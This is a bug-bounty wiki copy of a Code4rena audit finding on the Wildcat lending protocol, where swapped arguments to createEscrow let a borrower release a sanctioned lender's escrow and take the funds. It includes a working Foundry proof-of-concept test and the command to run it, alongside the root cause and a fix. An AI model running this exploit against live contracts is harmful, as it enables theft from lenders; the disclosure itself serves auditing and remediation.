Skip to content
Access control Audit finding Intermediate

Borrower can drain all funds of a sanctioned lender

The _blockAccount function called createEscrow with the borrower and account arguments swapped, so the escrow recorded the wrong parties. A borrower could then release the escrow and withdraw the sanctioned lender's funds.

YusSecurity Follow with d3e4, serial-coder and 33 others

Originally disclosed on Code4rena

Submitted by YusSecurity, also found by d3e4, serial-coder, nirlin, xeros, VAD37, DeFiHackLabs, 0xKbl, 0xDING99YA, Aymen0909, ast3ros, Yanchuan, MiloTruck, AS, sl1, QiuhaoLi, gizzy, SovaSlava, TrungOre, cartlex_, kodyvim, Vagner, KeyKiril, GREY-HAWK-REACH, 0xSwahili, ggg_ttt_hhh, 3docSec, Silvermist, 0xbepresent, tallo, ZdravkoHr, 0xCiphky, rvierdiiev, nobody2018, deth, and 0xAsen

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L96-L97 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L173-L174 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166-L170

Impact

The WildcatMarketBase#_blockAccount() function that is used to block a sanctioned lender contains a critical bug. It incorrectly calls IWildcatSanctionsSentinel(sentinel).createEscrow() with misordered arguments, accidentally creating a vulnerable escrow that enables the borrower to drain all the funds of the sanctioned lender.

The execution of withdrawals (WildcatMarketWithdrawals#executeWithdrawal()) also performs a check if the accountAddress is sanctioned and if it is, then escrow is created and the amount that was to be sent to the lender is sent to the escrow. That escrow, however, is also created with the account and borrower arguments in the wrong order.

That means whether or not the borrower has anything to do with a sanctioned account and their funds ever, that account will never be able to get their money back in case their sanction gets dismissed.

Proof of Concept

Consider this scenario to illustrate how the issue can be exploited:

  1. Bob The Borrower creates a market.
  2. Bob authorizes Larry The Lender as a lender in the created market.
  3. Larry deposits funds into the market.
  4. Larry gets sanctioned in Chainalysis.
  5. Bob invokes WildcatMarket#nukeFromOrbit(larryAddress), blocking Larry and creating a vulnerable WildcatSanctionsEscrow where Larry’s market tokens are transferred.
  6. Bob authorizes himself as a lender in the market via WildcatMarketController#authorizeLenders(bobAddress).
  7. Bob initiates a withdrawal using WildcatMarket#queueWithdrawal().
  8. After the withdrawal batch duration expires, Bob calls WildcatMarket#executeWithdrawal() and gains access to all of Larry’s assets.

Now, let’s delve into the specifics and mechanics of the vulnerability:

The nukeFromOrbit() function calls _blockAccount(state, larryAddress), blocking Larry’s account, creating an escrow, and transferring his market tokens to that escrow.

//@audit                                                     Larry
//@audit                                                       ↓
function _blockAccount(MarketState memory state, address accountAddress) internal {
  Account memory account = _accounts[accountAddress];
  // ...
  account.approval = AuthRole.Blocked;
  // ...
  account.scaledBalance = 0;
  address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
	accountAddress, //@audit ← Larry
	borrower,       //@audit ← Bob
	address(this)
  );
  // ...
  _accounts[escrow].scaledBalance += scaledBalance;
  // ...
}

In the code snippet, notice the order of arguments passed to createEscrow():

createEscrow(accountAddress, borrower, address(this));

However, when we examine the WildcatSanctionsSentinel#createEscrow() implementation, we see a different order of arguments. This results in an incorrect construction of tmpEscrowParams:

function createEscrow(
	address borrower, //@audit ← Larry
	address account,  //@audit ← Bob
	address asset
) public override returns (address escrowContract) {
  // ...
  // @audit                        ( Larry  ,   Bob  , asset)
  // @audit                            ↓         ↓       ↓
  tmpEscrowParams = TmpEscrowParams(borrower, account, asset);
  new WildcatSanctionsEscrow{ salt: keccak256(abi.encode(borrower, account, asset)) }();
  // ...
}

The tmpEscrowParams are essential for setting up the escrow correctly. They are fetched in the constructor of WildcatSanctionsEscrow, and the order of these parameters is significant:

constructor() {
  sentinel = msg.sender;
  (borrower, account, asset) = WildcatSanctionsSentinel(sentinel).tmpEscrowParams();
//     ↑        ↑       ↑
//(  Larry ,   Bob  , asset) are the params fetched here. @audit
}

However, due to the misordered arguments in _blockAccount(), what’s passed as tmpEscrowParams is (borrower = Larry, account = Bob, asset), which is incorrect. This misordering affects the canReleaseEscrow() function, which determines whether releaseEscrow() should proceed or revert.

function canReleaseEscrow() public view override returns (bool) {
	//@audit                                                 Larry      Bob
	//                                                         ↓         ↓
	return !WildcatSanctionsSentinel(sentinel).isSanctioned(borrower, account);
}

The misordered parameters impact the return value of sentinel.isSanctioned(). It mistakenly checks Bob against the sanctions list, where he is not sanctioned.

//@audit                       Larry              Bob
//                               ↓                 ↓
function isSanctioned(address borrower, address account) public view override returns (bool) {
 return
   !sanctionOverrides[borrower][account] && // true
   IChainalysisSanctionsList(chainalysisSanctionsList).isSanctioned(account); // false
}

Thus isSanctioned() returns false and consequently canReleaseEscrow() returns true. This allows Bob to successfully execute releaseEscrow() and drain all of Larry’s market tokens:

function releaseEscrow() public override {
  if (!canReleaseEscrow()) revert CanNotReleaseEscrow();

  uint256 amount = balance();

  //@audit                 Bob   Larry's $
  //                        ↓       ↓
  IERC20(asset).transfer(account, amount);

  emit EscrowReleased(account, asset, amount);
}

After this, Bob simply needs to authorize himself as a lender in his own market and withdraw the actual assets.

Below is a PoC demonstrating how to execute the exploit. To proceed, please include the following import statements in test/market/WildcatMarketConfig.t.sol:

import 'src/WildcatSanctionsEscrow.sol';

import "forge-std/console2.sol";

Add the following test test/market/WildcatMarketConfig.t.sol as well:

function test_borrowerCanStealSanctionedLendersFunds() external {
  vm.label(borrower, "bob"); // Label borrower for better trace readability

  // This is Larry The Lender
  address larry = makeAddr("larry");

  // Larry deposists 10e18 into Bob's market
  _deposit(larry, 10e18);

  // Larry's been a bad guy and gets sanctioned
  sanctionsSentinel.sanction(larry);

  // Larry gets nuked by the borrower
  vm.prank(borrower);
  market.nukeFromOrbit(larry);

  // The vulnerable escrow in which Larry's funds get moved
  address vulnerableEscrow = sanctionsSentinel.getEscrowAddress(larry, borrower, address(market));
  vm.label(vulnerableEscrow, "vulnerableEscrow");

  // Ensure Larry's funds have been moved to his escrow
  assertEq(market.balanceOf(larry), 0);
  assertEq(market.balanceOf(vulnerableEscrow), 10e18);

  // Malicious borrower is able to release the escrow due to the vulnerability
  vm.prank(borrower);
  WildcatSanctionsEscrow(vulnerableEscrow).releaseEscrow();

  // Malicious borrower has all of Larry's tokens
  assertEq(market.balanceOf(borrower), 10e18);

  // The borrower authorizes himself as a lender in the market
  _authorizeLender(borrower);

  // Queue withdrawal of all funds
  vm.prank(borrower);
  market.queueWithdrawal(10e18);

  // Fast-forward to when the batch duration expires
  fastForward(parameters.withdrawalBatchDuration);
  uint32 expiry = uint32(block.timestamp);

  // Execute the withdrawal
  market.executeWithdrawal(borrower, expiry);

  // Assert the borrower has drained all of Larry's assets
  assertEq(asset.balanceOf(borrower), 10e18);
}

Run the PoC like this:

forge test --match-test test_borrowerCanStealSanctionedLendersFunds -vvvv

Recommended Mitigation Steps

Fix the order of parameters in WildcatSanctionsSentinel#createEscrow(borrower, account, asset):

  function createEscrow(
-   address borrower,
+   address account,
-   address account,
+   address borrower,
    address asset
  ) public override returns (address escrowContract) {

Assessed type

Error

laurenceday (Wildcat) commented:

Mitigated here.

laurenceday (Wildcat) confirmed


The original report as published on Code4rena, by YusSecurity. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The arguments to createEscrow were passed in the wrong order, so the escrow stored the borrower and account swapped, making the sanctions check evaluate the wrong address.

Impact

The borrower could drain all of the sanctioned lender's funds, and the lender could never recover them even if the sanction were lifted.

What the attacker needed

Borrower controls a market; lender is sanctioned; borrower calls nukeFromOrbit

The fix

The order of parameters in createEscrow should be corrected so that account and borrower are passed in the right positions.

How it was found

  1. The borrower creates a market and authorises a lender.
  2. The lender deposits funds and later gets sanctioned.
  3. The borrower calls nukeFromOrbit on the lender, moving the lender's tokens into a vulnerable escrow.
  4. The borrower authorises themselves as a lender and queues a withdrawal.
  5. After the withdrawal batch duration, the borrower calls executeWithdrawal and receives all the lender's assets.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract has a function that moves a sanctioned lender's tokens into a separate holding contract called an escrow. The code passed two addresses in the wrong order, so the escrow thought the borrower was the sanctioned person. Because of that mix-up, the borrower could tell the escrow to release the money to themselves.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from The Wildcat Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.